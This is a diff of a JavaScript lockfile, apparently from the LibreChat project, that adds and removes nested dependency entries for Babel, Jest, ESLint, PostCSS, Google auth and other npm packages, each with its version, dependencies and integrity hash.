+ "@babel/plugin-transform-unicode-property-regex/@babel/helper-create-regexp-features-plugin": ["@babel/helper-create-regexp-features-plugin@7.28.5", "", { "dependencies": { "@babel/helper-annotate-as-pure": "^7.27.3", "regexpu-core": "^6.3.1", "semver": "^6.3.1" }, "peerDependencies": { "@babel/core": "^7.0.0" } }, "sha512-N1EhvLtHzOvj7QQOUCCS3NrPJP8c5W6ZXCHDn7Yialuy1iu4r5EmIYkXlKNqT99Ciw+W0mDqWoR6HWMZlFP3hw=="],
- "@babel/preset-typescript/@babel/plugin-transform-modules-commonjs": ["@babel/plugin-transform-modules-commonjs@7.23.3", "", { "dependencies": { "@babel/helper-module-transforms": "^7.23.3", "@babel/helper-plugin-utils": "^7.22.5", "@babel/helper-simple-access": "^7.22.5" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-aVS0F65LKsdNOtcz6FRCpE4OgsP2OFnW46qNxNIX9h3wuzaNcSQsJysuMwqSibC98HPrf2vCgtxKNwS0DAlgcA=="],
+ "@babel/plugin-transform-unicode-regex/@babel/helper-create-regexp-features-plugin": ["@babel/helper-create-regexp-features-plugin@7.28.5", "", { "dependencies": { "@babel/helper-annotate-as-pure": "^7.27.3", "regexpu-core": "^6.3.1", "semver": "^6.3.1" }, "peerDependencies": { "@babel/core": "^7.0.0" } }, "sha512-N1EhvLtHzOvj7QQOUCCS3NrPJP8c5W6ZXCHDn7Yialuy1iu4r5EmIYkXlKNqT99Ciw+W0mDqWoR6HWMZlFP3hw=="],
+
+ "@babel/plugin-transform-unicode-sets-regex/@babel/helper-create-regexp-features-plugin": ["@babel/helper-create-regexp-features-plugin@7.28.5", "", { "dependencies": { "@babel/helper-annotate-as-pure": "^7.27.3", "regexpu-core": "^6.3.1", "semver": "^6.3.1" }, "peerDependencies": { "@babel/core": "^7.0.0" } }, "sha512-N1EhvLtHzOvj7QQOUCCS3NrPJP8c5W6ZXCHDn7Yialuy1iu4r5EmIYkXlKNqT99Ciw+W0mDqWoR6HWMZlFP3hw=="],
+
+ "@babel/traverse/debug": ["debug@4.4.0", "", { "dependencies": { "ms": "^2.1.3" } }, "sha512-6WTZ/IxCY/T6BALoZHaE4ctp9xm+Z5kY/pzYaCHRFeyVhojxlrm+46y68HA6hr0TcwEssoxNiDEUJQjfPZ/RYA=="],
"@codesandbox/sandpack-client/mime-db": ["mime-db@1.52.0", "", {}, "sha512-sPU4uV7dYlvtWJxwwxHD0PuihVNiE7TyAbQ5SWxDCB9mUYvOgroQOwYQQOKPJ8CIbE+1ETVlOoK1UC2nU3gYvg=="],
- "@csstools/css-color-parser/@csstools/color-helpers": ["@csstools/color-helpers@4.0.0", "", {}, "sha512-wjyXB22/h2OvxAr3jldPB7R7kjTUEzopvjitS8jWtyd8fN6xJ8vy1HnHu0ZNfEkqpBJgQ76Q+sBDshWcMvTa/w=="],
+ "@csstools/postcss-cascade-layers/postcss-selector-parser": ["postcss-selector-parser@7.1.1", "", { "dependencies": { "cssesc": "^3.0.0", "util-deprecate": "^1.0.2" } }, "sha512-orRsuYpJVw8LdAwqqLykBj9ecS5/cRHlI5+nvTo8LcCKmzDmqVORXtOIYEEQuL9D4BxtA1lm5isAqzQZCoQ6Eg=="],
+
+ "@csstools/postcss-is-pseudo-class/postcss-selector-parser": ["postcss-selector-parser@7.1.1", "", { "dependencies": { "cssesc": "^3.0.0", "util-deprecate": "^1.0.2" } }, "sha512-orRsuYpJVw8LdAwqqLykBj9ecS5/cRHlI5+nvTo8LcCKmzDmqVORXtOIYEEQuL9D4BxtA1lm5isAqzQZCoQ6Eg=="],
+
+ "@csstools/postcss-scope-pseudo-class/postcss-selector-parser": ["postcss-selector-parser@7.1.1", "", { "dependencies": { "cssesc": "^3.0.0", "util-deprecate": "^1.0.2" } }, "sha512-orRsuYpJVw8LdAwqqLykBj9ecS5/cRHlI5+nvTo8LcCKmzDmqVORXtOIYEEQuL9D4BxtA1lm5isAqzQZCoQ6Eg=="],
+
+ "@csstools/selector-resolve-nested/postcss-selector-parser": ["postcss-selector-parser@7.1.1", "", { "dependencies": { "cssesc": "^3.0.0", "util-deprecate": "^1.0.2" } }, "sha512-orRsuYpJVw8LdAwqqLykBj9ecS5/cRHlI5+nvTo8LcCKmzDmqVORXtOIYEEQuL9D4BxtA1lm5isAqzQZCoQ6Eg=="],
+
+ "@csstools/selector-specificity/postcss-selector-parser": ["postcss-selector-parser@7.1.1", "", { "dependencies": { "cssesc": "^3.0.0", "util-deprecate": "^1.0.2" } }, "sha512-orRsuYpJVw8LdAwqqLykBj9ecS5/cRHlI5+nvTo8LcCKmzDmqVORXtOIYEEQuL9D4BxtA1lm5isAqzQZCoQ6Eg=="],
"@eslint-community/eslint-utils/eslint-visitor-keys": ["eslint-visitor-keys@3.4.3", "", {}, "sha512-wpc+LXeiyiisxPlEkUzU6svyS1frIO3Mgxj1fdy7Pm8Ygzguax2N3Fa/D/ag1WqbOprdI+uY6wMUl8/a2G+iag=="],
+ "@eslint/config-array/debug": ["debug@4.4.0", "", { "dependencies": { "ms": "^2.1.3" } }, "sha512-6WTZ/IxCY/T6BALoZHaE4ctp9xm+Z5kY/pzYaCHRFeyVhojxlrm+46y68HA6hr0TcwEssoxNiDEUJQjfPZ/RYA=="],
+
+ "@eslint/config-array/minimatch": ["minimatch@3.1.2", "", { "dependencies": { "brace-expansion": "^1.1.7" } }, "sha512-J7p63hRiAjw1NDEww1W7i37+ByIrOWO5XQQAzZ3VOcL0PNybwpfmV/N05zFAzwQ9USyEcX6t3UO+K5aqBQOIHw=="],
+
"@eslint/eslintrc/globals": ["globals@14.0.0", "", {}, "sha512-oahGvuMGQlPw/ivIYBjVSrWAfWLBeku5tpPE2fOPLi+WHffIWbuh2tCjhyQhTBPMf5E9jDEH4FOmTYgYwbKwtQ=="],
+ "@google/genai/google-auth-library": ["google-auth-library@10.5.0", "", { "dependencies": { "base64-js": "^1.3.0", "ecdsa-sig-formatter": "^1.0.11", "gaxios": "^7.0.0", "gcp-metadata": "^8.0.0", "google-logging-utils": "^1.0.0", "gtoken": "^8.0.0", "jws": "^4.0.0" } }, "sha512-7ABviyMOlX5hIVD60YOfHw4/CxOfBhyduaYB+wbFWCWoni4N7SLcV46hrVRktuBbZjFC9ONyqamZITN7q3n32w=="],
+
+ "@grpc/proto-loader/protobufjs": ["protobufjs@7.4.0", "", { "dependencies": { "@protobufjs/aspromise": "^1.1.2", "@protobufjs/base64": "^1.1.2", "@protobufjs/codegen": "^2.0.4", "@protobufjs/eventemitter": "^1.1.0", "@protobufjs/fetch": "^1.1.0", "@protobufjs/float": "^1.0.2", "@protobufjs/inquire": "^1.1.0", "@protobufjs/path": "^1.1.2", "@protobufjs/pool": "^1.1.0", "@protobufjs/utf8": "^1.1.0", "@types/node": ">=13.7.0", "long": "^5.0.0" } }, "sha512-mRUWCc3KUU4w1jU8sGxICXH/gNS94DvI1gxqDvBzhj1JpcsimQkYiOJfwsPUykUI5ZaspFbSgmBLER8IrQ3tqw=="],
+
"@headlessui/react/@tanstack/react-virtual": ["@tanstack/react-virtual@3.13.12", "", { "dependencies": { "@tanstack/virtual-core": "3.13.12" }, "peerDependencies": { "react": "^16.8.0 || ^17.0.0 || ^18.0.0 || ^19.0.0", "react-dom": "^16.8.0 || ^17.0.0 || ^18.0.0 || ^19.0.0" } }, "sha512-Gd13QdxPSukP8ZrkbgS2RwoZseTTbQPLnQEn7HY/rqtM+8Zt95f7xKC7N0EsKs7aoz0WzZ+fditZux+F8EzYxA=="],
"@humanfs/node/@humanwhocodes/retry": ["@humanwhocodes/retry@0.3.1", "", {}, "sha512-JBxkERygn7Bv/GbN5Rv8Ul6LVknS+5Bp6RgDC/O8gEBU/yeH5Ui5C/OlWrTb6qct7LjjfT6Re2NxB0ln0yYybA=="],
@@ -5373,40 +5549,18 @@
"@istanbuljs/load-nyc-config/resolve-from": ["resolve-from@5.0.0", "", {}, "sha512-qYg9KP24dD5qka9J47d0aVky0N+b4fTU89LN9iDnjB5waksiC49rvMB0PrUJQGoTmH50XPiqOvAjDfaijGxYZw=="],
- "@jest/console/jest-util": ["jest-util@30.2.0", "", { "dependencies": { "@jest/types": "30.2.0", "@types/node": "*", "chalk": "^4.1.2", "ci-info": "^4.2.0", "graceful-fs": "^4.2.11", "picomatch": "^4.0.2" } }, "sha512-QKNsM0o3Xe6ISQU869e+DhG+4CK/48aHYdJZGlFQVTjnbvgpcKyxpzk29fGiO7i/J8VENZ+d2iGnSsvmuHywlA=="],
-
"@jest/console/slash": ["slash@3.0.0", "", {}, "sha512-g9Q1haeby36OSStwb4ntCGGGaKsaVSjQ68fBxoQcutl5fS1vuY18H3wSt3jFyFtrkx+Kz0V1G85A4MyAdDMi2Q=="],
- "@jest/core/jest-util": ["jest-util@30.2.0", "", { "dependencies": { "@jest/types": "30.2.0", "@types/node": "*", "chalk": "^4.1.2", "ci-info": "^4.2.0", "graceful-fs": "^4.2.11", "picomatch": "^4.0.2" } }, "sha512-QKNsM0o3Xe6ISQU869e+DhG+4CK/48aHYdJZGlFQVTjnbvgpcKyxpzk29fGiO7i/J8VENZ+d2iGnSsvmuHywlA=="],
-
"@jest/core/pretty-format": ["pretty-format@30.2.0", "", { "dependencies": { "@jest/schemas": "30.0.5", "ansi-styles": "^5.2.0", "react-is": "^18.3.1" } }, "sha512-9uBdv/B4EefsuAL+pWqueZyZS2Ba+LxfFeQ9DN14HU4bN8bhaxKdkpjpB6fs9+pSjIBu+FXQHImEg8j/Lw0+vA=="],
"@jest/core/slash": ["slash@3.0.0", "", {}, "sha512-g9Q1haeby36OSStwb4ntCGGGaKsaVSjQ68fBxoQcutl5fS1vuY18H3wSt3jFyFtrkx+Kz0V1G85A4MyAdDMi2Q=="],
- "@jest/environment/@jest/fake-timers": ["@jest/fake-timers@30.2.0", "", { "dependencies": { "@jest/types": "30.2.0", "@sinonjs/fake-timers": "^13.0.0", "@types/node": "*", "jest-message-util": "30.2.0", "jest-mock": "30.2.0", "jest-util": "30.2.0" } }, "sha512-HI3tRLjRxAbBy0VO8dqqm7Hb2mIa8d5bg/NJkyQcOk7V118ObQML8RC5luTF/Zsg4474a+gDvhce7eTnP4GhYw=="],
-
- "@jest/environment/jest-mock": ["jest-mock@30.2.0", "", { "dependencies": { "@jest/types": "30.2.0", "@types/node": "*", "jest-util": "30.2.0" } }, "sha512-JNNNl2rj4b5ICpmAcq+WbLH83XswjPbjH4T7yvGzfAGCPh1rw+xVNbtk+FnRslvt9lkCcdn9i1oAoKUuFsOxRw=="],
-
- "@jest/environment-jsdom-abstract/@jest/fake-timers": ["@jest/fake-timers@30.2.0", "", { "dependencies": { "@jest/types": "30.2.0", "@sinonjs/fake-timers": "^13.0.0", "@types/node": "*", "jest-message-util": "30.2.0", "jest-mock": "30.2.0", "jest-util": "30.2.0" } }, "sha512-HI3tRLjRxAbBy0VO8dqqm7Hb2mIa8d5bg/NJkyQcOk7V118ObQML8RC5luTF/Zsg4474a+gDvhce7eTnP4GhYw=="],
-
- "@jest/environment-jsdom-abstract/jest-mock": ["jest-mock@30.2.0", "", { "dependencies": { "@jest/types": "30.2.0", "@types/node": "*", "jest-util": "30.2.0" } }, "sha512-JNNNl2rj4b5ICpmAcq+WbLH83XswjPbjH4T7yvGzfAGCPh1rw+xVNbtk+FnRslvt9lkCcdn9i1oAoKUuFsOxRw=="],
-
- "@jest/environment-jsdom-abstract/jest-util": ["jest-util@30.2.0", "", { "dependencies": { "@jest/types": "30.2.0", "@types/node": "*", "chalk": "^4.1.2", "ci-info": "^4.2.0", "graceful-fs": "^4.2.11", "picomatch": "^4.0.2" } }, "sha512-QKNsM0o3Xe6ISQU869e+DhG+4CK/48aHYdJZGlFQVTjnbvgpcKyxpzk29fGiO7i/J8VENZ+d2iGnSsvmuHywlA=="],
-
"@jest/expect/expect": ["expect@30.2.0", "", { "dependencies": { "@jest/expect-utils": "30.2.0", "@jest/get-type": "30.1.0", "jest-matcher-utils": "30.2.0", "jest-message-util": "30.2.0", "jest-mock": "30.2.0", "jest-util": "30.2.0" } }, "sha512-u/feCi0GPsI+988gU2FLcsHyAHTU0MX1Wg68NhAnN7z/+C5wqG+CY8J53N9ioe8RXgaoz0nBR/TYMf3AycUuPw=="],
- "@jest/fake-timers/@jest/types": ["@jest/types@29.6.3", "", { "dependencies": { "@jest/schemas": "^29.6.3", "@types/istanbul-lib-coverage": "^2.0.0", "@types/istanbul-reports": "^3.0.0", "@types/node": "*", "@types/yargs": "^17.0.8", "chalk": "^4.0.0" } }, "sha512-u3UPsIilWKOM3F9CXtrG8LEJmNxwoCQC/XVj4IKYXvvpx7QIi/Kg1LI5uDmDpKlac62NUtX7eLjRh+jVZcLOzw=="],
-
- "@jest/fake-timers/jest-message-util": ["jest-message-util@29.7.0", "", { "dependencies": { "@babel/code-frame": "^7.12.13", "@jest/types": "^29.6.3", "@types/stack-utils": "^2.0.0", "chalk": "^4.0.0", "graceful-fs": "^4.2.9", "micromatch": "^4.0.4", "pretty-format": "^29.7.0", "slash": "^3.0.0", "stack-utils": "^2.0.3" } }, "sha512-GBEV4GRADeP+qtB2+6u61stea8mGcOT4mCtrYISZwfu9/ISHFJ/5zOMXYbpBE9RsS5+Gb63DW4FgmnKJ79Kf6w=="],
-
- "@jest/globals/jest-mock": ["jest-mock@30.2.0", "", { "dependencies": { "@jest/types": "30.2.0", "@types/node": "*", "jest-util": "30.2.0" } }, "sha512-JNNNl2rj4b5ICpmAcq+WbLH83XswjPbjH4T7yvGzfAGCPh1rw+xVNbtk+FnRslvt9lkCcdn9i1oAoKUuFsOxRw=="],
-
"@jest/reporters/@jridgewell/trace-mapping": ["@jridgewell/trace-mapping@0.3.31", "", { "dependencies": { "@jridgewell/resolve-uri": "^3.1.0", "@jridgewell/sourcemap-codec": "^1.4.14" } }, "sha512-zzNR+SdQSDJzc8joaeP8QQoCQr8NuYx2dIIytl1QeBEZHJ9uW6hebsrYgbz8hJwUQao3TWCMtmfV8Nu1twOLAw=="],
"@jest/reporters/glob": ["glob@10.5.0", "", { "dependencies": { "foreground-child": "^3.1.0", "jackspeak": "^3.1.2", "minimatch": "^9.0.4", "minipass": "^7.1.2", "package-json-from-dist": "^1.0.0", "path-scurry": "^1.11.1" }, "bin": "dist/esm/bin.mjs" }, "sha512-DfXN8DfhJ7NH3Oe7cFmu3NCu1wKbkReJ8TorzSAFbSKrlNaQSKfIzqYqVY8zlbs2NLBbWpRiU52GX2PbaBVNkg=="],
- "@jest/reporters/jest-util": ["jest-util@30.2.0", "", { "dependencies": { "@jest/types": "30.2.0", "@types/node": "*", "chalk": "^4.1.2", "ci-info": "^4.2.0", "graceful-fs": "^4.2.11", "picomatch": "^4.0.2" } }, "sha512-QKNsM0o3Xe6ISQU869e+DhG+4CK/48aHYdJZGlFQVTjnbvgpcKyxpzk29fGiO7i/J8VENZ+d2iGnSsvmuHywlA=="],
-
"@jest/reporters/slash": ["slash@3.0.0", "", {}, "sha512-g9Q1haeby36OSStwb4ntCGGGaKsaVSjQ68fBxoQcutl5fS1vuY18H3wSt3jFyFtrkx+Kz0V1G85A4MyAdDMi2Q=="],
"@jest/source-map/@jridgewell/trace-mapping": ["@jridgewell/trace-mapping@0.3.31", "", { "dependencies": { "@jridgewell/resolve-uri": "^3.1.0", "@jridgewell/sourcemap-codec": "^1.4.14" } }, "sha512-zzNR+SdQSDJzc8joaeP8QQoCQr8NuYx2dIIytl1QeBEZHJ9uW6hebsrYgbz8hJwUQao3TWCMtmfV8Nu1twOLAw=="],
@@ -5415,8 +5569,6 @@
"@jest/transform/@jridgewell/trace-mapping": ["@jridgewell/trace-mapping@0.3.31", "", { "dependencies": { "@jridgewell/resolve-uri": "^3.1.0", "@jridgewell/sourcemap-codec": "^1.4.14" } }, "sha512-zzNR+SdQSDJzc8joaeP8QQoCQr8NuYx2dIIytl1QeBEZHJ9uW6hebsrYgbz8hJwUQao3TWCMtmfV8Nu1twOLAw=="],
- "@jest/transform/jest-util": ["jest-util@30.2.0", "", { "dependencies": { "@jest/types": "30.2.0", "@types/node": "*", "chalk": "^4.1.2", "ci-info": "^4.2.0", "graceful-fs": "^4.2.11", "picomatch": "^4.0.2" } }, "sha512-QKNsM0o3Xe6ISQU869e+DhG+4CK/48aHYdJZGlFQVTjnbvgpcKyxpzk29fGiO7i/J8VENZ+d2iGnSsvmuHywlA=="],
-
"@jest/transform/slash": ["slash@3.0.0", "", {}, "sha512-g9Q1haeby36OSStwb4ntCGGGaKsaVSjQ68fBxoQcutl5fS1vuY18H3wSt3jFyFtrkx+Kz0V1G85A4MyAdDMi2Q=="],
"@jridgewell/gen-mapping/@jridgewell/trace-mapping": ["@jridgewell/trace-mapping@0.3.31", "", { "dependencies": { "@jridgewell/resolve-uri": "^3.1.0", "@jridgewell/sourcemap-codec": "^1.4.14" } }, "sha512-zzNR+SdQSDJzc8joaeP8QQoCQr8NuYx2dIIytl1QeBEZHJ9uW6hebsrYgbz8hJwUQao3TWCMtmfV8Nu1twOLAw=="],
@@ -5445,49 +5597,91 @@
"@langchain/mistralai/uuid": ["uuid@10.0.0", "", { "bin": "dist/bin/uuid" }, "sha512-8XkAphELsDnEGrDxUOHB3RGvXz6TeuYSGEZBOjtTtPm2lwhGBjLgOzLHB63IUWfBpNucQjND6d3AOudO+H3RWQ=="],
- "@librechat/client/@babel/preset-env": ["@babel/preset-env@7.28.5", "", { "dependencies": { "@babel/compat-data": "^7.28.5", "@babel/helper-compilation-targets": "^7.27.2", "@babel/helper-plugin-utils": "^7.27.1", "@babel/helper-validator-option": "^7.27.1", "@babel/plugin-bugfix-firefox-class-in-computed-class-key": "^7.28.5", "@babel/plugin-bugfix-safari-class-field-initializer-scope": "^7.27.1", "@babel/plugin-bugfix-safari-id-destructuring-collision-in-function-expression": "^7.27.1", "@babel/plugin-bugfix-v8-spread-parameters-in-optional-chaining": "^7.27.1", "@babel/plugin-bugfix-v8-static-class-fields-redefine-readonly": "^7.28.3", "@babel/plugin-proposal-private-property-in-object": "7.21.0-placeholder-for-preset-env.2", "@babel/plugin-syntax-import-assertions": "^7.27.1", "@babel/plugin-syntax-import-attributes": "^7.27.1", "@babel/plugin-syntax-unicode-sets-regex": "^7.18.6", "@babel/plugin-transform-arrow-functions": "^7.27.1", "@babel/plugin-transform-async-generator-functions": "^7.28.0", "@babel/plugin-transform-async-to-generator": "^7.27.1", "@babel/plugin-transform-block-scoped-functions": "^7.27.1", "@babel/plugin-transform-block-scoping": "^7.28.5", "@babel/plugin-transform-class-properties": "^7.27.1", "@babel/plugin-transform-class-static-block": "^7.28.3", "@babel/plugin-transform-classes": "^7.28.4", "@babel/plugin-transform-computed-properties": "^7.27.1", "@babel/plugin-transform-destructuring": "^7.28.5", "@babel/plugin-transform-dotall-regex": "^7.27.1", "@babel/plugin-transform-duplicate-keys": "^7.27.1", "@babel/plugin-transform-duplicate-named-capturing-groups-regex": "^7.27.1", "@babel/plugin-transform-dynamic-import": "^7.27.1", "@babel/plugin-transform-explicit-resource-management": "^7.28.0", "@babel/plugin-transform-exponentiation-operator": "^7.28.5", "@babel/plugin-transform-export-namespace-from": "^7.27.1", "@babel/plugin-transform-for-of": "^7.27.1", "@babel/plugin-transform-function-name": "^7.27.1", "@babel/plugin-transform-json-strings": "^7.27.1", "@babel/plugin-transform-literals": "^7.27.1", "@babel/plugin-transform-logical-assignment-operators": "^7.28.5", "@babel/plugin-transform-member-expression-literals": "^7.27.1", "@babel/plugin-transform-modules-amd": "^7.27.1", "@babel/plugin-transform-modules-commonjs": "^7.27.1", "@babel/plugin-transform-modules-systemjs": "^7.28.5", "@babel/plugin-transform-modules-umd": "^7.27.1", "@babel/plugin-transform-named-capturing-groups-regex": "^7.27.1", "@babel/plugin-transform-new-target": "^7.27.1", "@babel/plugin-transform-nullish-coalescing-operator": "^7.27.1", "@babel/plugin-transform-numeric-separator": "^7.27.1", "@babel/plugin-transform-object-rest-spread": "^7.28.4", "@babel/plugin-transform-object-super": "^7.27.1", "@babel/plugin-transform-optional-catch-binding": "^7.27.1", "@babel/plugin-transform-optional-chaining": "^7.28.5", "@babel/plugin-transform-parameters": "^7.27.7", "@babel/plugin-transform-private-methods": "^7.27.1", "@babel/plugin-transform-private-property-in-object": "^7.27.1", "@babel/plugin-transform-property-literals": "^7.27.1", "@babel/plugin-transform-regenerator": "^7.28.4", "@babel/plugin-transform-regexp-modifiers": "^7.27.1", "@babel/plugin-transform-reserved-words": "^7.27.1", "@babel/plugin-transform-shorthand-properties": "^7.27.1", "@babel/plugin-transform-spread": "^7.27.1", "@babel/plugin-transform-sticky-regex": "^7.27.1", "@babel/plugin-transform-template-literals": "^7.27.1", "@babel/plugin-transform-typeof-symbol": "^7.27.1", "@babel/plugin-transform-unicode-escapes": "^7.27.1", "@babel/plugin-transform-unicode-property-regex": "^7.27.1", "@babel/plugin-transform-unicode-regex": "^7.27.1", "@babel/plugin-transform-unicode-sets-regex": "^7.27.1", "@babel/preset-modules": "0.1.6-no-external-plugins", "babel-plugin-polyfill-corejs2": "^0.4.14", "babel-plugin-polyfill-corejs3": "^0.13.0", "babel-plugin-polyfill-regenerator": "^0.6.5", "core-js-compat": "^3.43.0", "semver": "^6.3.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-S36mOoi1Sb6Fz98fBfE+UZSpYw5mJm0NUHtIKrOuNcqeFauy1J6dIvXm2KRVKobOSaGq4t/hBXdN4HGU3wL9Wg=="],
+ "@librechat/agents/nanoid": ["nanoid@3.3.11", "", { "bin": { "nanoid": "bin/nanoid.cjs" } }, "sha512-N8SpfPUnUp1bK+PMYW8qSWdl9U+wwNWI4QKxOYDy9JAro3WMX7p2OeVRF9v+347pnakNevPmiHhNmZ2HbFA76w=="],
- "@librechat/client/@babel/preset-react": ["@babel/preset-react@7.28.5", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1", "@babel/helper-validator-option": "^7.27.1", "@babel/plugin-transform-react-display-name": "^7.28.0", "@babel/plugin-transform-react-jsx": "^7.27.1", "@babel/plugin-transform-react-jsx-development": "^7.27.1", "@babel/plugin-transform-react-pure-annotations": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-Z3J8vhRq7CeLjdC58jLv4lnZ5RKFUJWqH5emvxmv9Hv3BD1T9R/Im713R4MTKwvFaV74ejZ3sM01LyEKk4ugNQ=="],
-
- "@librechat/client/@babel/preset-typescript": ["@babel/preset-typescript@7.28.5", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1", "@babel/helper-validator-option": "^7.27.1", "@babel/plugin-syntax-jsx": "^7.27.1", "@babel/plugin-transform-modules-commonjs": "^7.27.1", "@babel/plugin-transform-typescript": "^7.28.5" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-+bQy5WOI2V6LJZpPVxY+yp66XdZ2yifu0Mc1aP5CQKgjn4QM5IN2i5fAZ4xKop47pr8rpVhiAeu+nDQa12C8+g=="],
-
- "@librechat/frontend/@babel/preset-env": ["@babel/preset-env@7.28.5", "", { "dependencies": { "@babel/compat-data": "^7.28.5", "@babel/helper-compilation-targets": "^7.27.2", "@babel/helper-plugin-utils": "^7.27.1", "@babel/helper-validator-option": "^7.27.1", "@babel/plugin-bugfix-firefox-class-in-computed-class-key": "^7.28.5", "@babel/plugin-bugfix-safari-class-field-initializer-scope": "^7.27.1", "@babel/plugin-bugfix-safari-id-destructuring-collision-in-function-expression": "^7.27.1", "@babel/plugin-bugfix-v8-spread-parameters-in-optional-chaining": "^7.27.1", "@babel/plugin-bugfix-v8-static-class-fields-redefine-readonly": "^7.28.3", "@babel/plugin-proposal-private-property-in-object": "7.21.0-placeholder-for-preset-env.2", "@babel/plugin-syntax-import-assertions": "^7.27.1", "@babel/plugin-syntax-import-attributes": "^7.27.1", "@babel/plugin-syntax-unicode-sets-regex": "^7.18.6", "@babel/plugin-transform-arrow-functions": "^7.27.1", "@babel/plugin-transform-async-generator-functions": "^7.28.0", "@babel/plugin-transform-async-to-generator": "^7.27.1", "@babel/plugin-transform-block-scoped-functions": "^7.27.1", "@babel/plugin-transform-block-scoping": "^7.28.5", "@babel/plugin-transform-class-properties": "^7.27.1", "@babel/plugin-transform-class-static-block": "^7.28.3", "@babel/plugin-transform-classes": "^7.28.4", "@babel/plugin-transform-computed-properties": "^7.27.1", "@babel/plugin-transform-destructuring": "^7.28.5", "@babel/plugin-transform-dotall-regex": "^7.27.1", "@babel/plugin-transform-duplicate-keys": "^7.27.1", "@babel/plugin-transform-duplicate-named-capturing-groups-regex": "^7.27.1", "@babel/plugin-transform-dynamic-import": "^7.27.1", "@babel/plugin-transform-explicit-resource-management": "^7.28.0", "@babel/plugin-transform-exponentiation-operator": "^7.28.5", "@babel/plugin-transform-export-namespace-from": "^7.27.1", "@babel/plugin-transform-for-of": "^7.27.1", "@babel/plugin-transform-function-name": "^7.27.1", "@babel/plugin-transform-json-strings": "^7.27.1", "@babel/plugin-transform-literals": "^7.27.1", "@babel/plugin-transform-logical-assignment-operators": "^7.28.5", "@babel/plugin-transform-member-expression-literals": "^7.27.1", "@babel/plugin-transform-modules-amd": "^7.27.1", "@babel/plugin-transform-modules-commonjs": "^7.27.1", "@babel/plugin-transform-modules-systemjs": "^7.28.5", "@babel/plugin-transform-modules-umd": "^7.27.1", "@babel/plugin-transform-named-capturing-groups-regex": "^7.27.1", "@babel/plugin-transform-new-target": "^7.27.1", "@babel/plugin-transform-nullish-coalescing-operator": "^7.27.1", "@babel/plugin-transform-numeric-separator": "^7.27.1", "@babel/plugin-transform-object-rest-spread": "^7.28.4", "@babel/plugin-transform-object-super": "^7.27.1", "@babel/plugin-transform-optional-catch-binding": "^7.27.1", "@babel/plugin-transform-optional-chaining": "^7.28.5", "@babel/plugin-transform-parameters": "^7.27.7", "@babel/plugin-transform-private-methods": "^7.27.1", "@babel/plugin-transform-private-property-in-object": "^7.27.1", "@babel/plugin-transform-property-literals": "^7.27.1", "@babel/plugin-transform-regenerator": "^7.28.4", "@babel/plugin-transform-regexp-modifiers": "^7.27.1", "@babel/plugin-transform-reserved-words": "^7.27.1", "@babel/plugin-transform-shorthand-properties": "^7.27.1", "@babel/plugin-transform-spread": "^7.27.1", "@babel/plugin-transform-sticky-regex": "^7.27.1", "@babel/plugin-transform-template-literals": "^7.27.1", "@babel/plugin-transform-typeof-symbol": "^7.27.1", "@babel/plugin-transform-unicode-escapes": "^7.27.1", "@babel/plugin-transform-unicode-property-regex": "^7.27.1", "@babel/plugin-transform-unicode-regex": "^7.27.1", "@babel/plugin-transform-unicode-sets-regex": "^7.27.1", "@babel/preset-modules": "0.1.6-no-external-plugins", "babel-plugin-polyfill-corejs2": "^0.4.14", "babel-plugin-polyfill-corejs3": "^0.13.0", "babel-plugin-polyfill-regenerator": "^0.6.5", "core-js-compat": "^3.43.0", "semver": "^6.3.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-S36mOoi1Sb6Fz98fBfE+UZSpYw5mJm0NUHtIKrOuNcqeFauy1J6dIvXm2KRVKobOSaGq4t/hBXdN4HGU3wL9Wg=="],
-
- "@librechat/frontend/@babel/preset-react": ["@babel/preset-react@7.28.5", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1", "@babel/helper-validator-option": "^7.27.1", "@babel/plugin-transform-react-display-name": "^7.28.0", "@babel/plugin-transform-react-jsx": "^7.27.1", "@babel/plugin-transform-react-jsx-development": "^7.27.1", "@babel/plugin-transform-react-pure-annotations": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-Z3J8vhRq7CeLjdC58jLv4lnZ5RKFUJWqH5emvxmv9Hv3BD1T9R/Im713R4MTKwvFaV74ejZ3sM01LyEKk4ugNQ=="],
-
- "@librechat/frontend/@babel/preset-typescript": ["@babel/preset-typescript@7.28.5", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1", "@babel/helper-validator-option": "^7.27.1", "@babel/plugin-syntax-jsx": "^7.27.1", "@babel/plugin-transform-modules-commonjs": "^7.27.1", "@babel/plugin-transform-typescript": "^7.28.5" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-+bQy5WOI2V6LJZpPVxY+yp66XdZ2yifu0Mc1aP5CQKgjn4QM5IN2i5fAZ4xKop47pr8rpVhiAeu+nDQa12C8+g=="],
+ "@librechat/backend/@smithy/node-http-handler": ["@smithy/node-http-handler@4.4.6", "", { "dependencies": { "@smithy/abort-controller": "^4.2.6", "@smithy/protocol-http": "^5.3.6", "@smithy/querystring-builder": "^4.2.6", "@smithy/types": "^4.10.0", "tslib": "^2.6.2" } }, "sha512-Gsb9jf4ido5BhPfani4ggyrKDd3ZK+vTFWmUaZeFg5G3E5nhFmqiTzAIbHqmPs1sARuJawDiGMGR/nY+Gw6+aQ=="],
"@librechat/frontend/@react-spring/web": ["@react-spring/web@9.7.5", "", { "dependencies": { "@react-spring/animated": "~9.7.5", "@react-spring/core": "~9.7.5", "@react-spring/shared": "~9.7.5", "@react-spring/types": "~9.7.5" }, "peerDependencies": { "react": "^16.8.0 || ^17.0.0 || ^18.0.0", "react-dom": "^16.8.0 || ^17.0.0 || ^18.0.0" } }, "sha512-lmvqGwpe+CSttsWNZVr+Dg62adtKhauGwLyGE/RRyZ8AAMLgb9x3NDMA5RMElXo+IMyTkPp7nxTB8ZQlmhb6JQ=="],
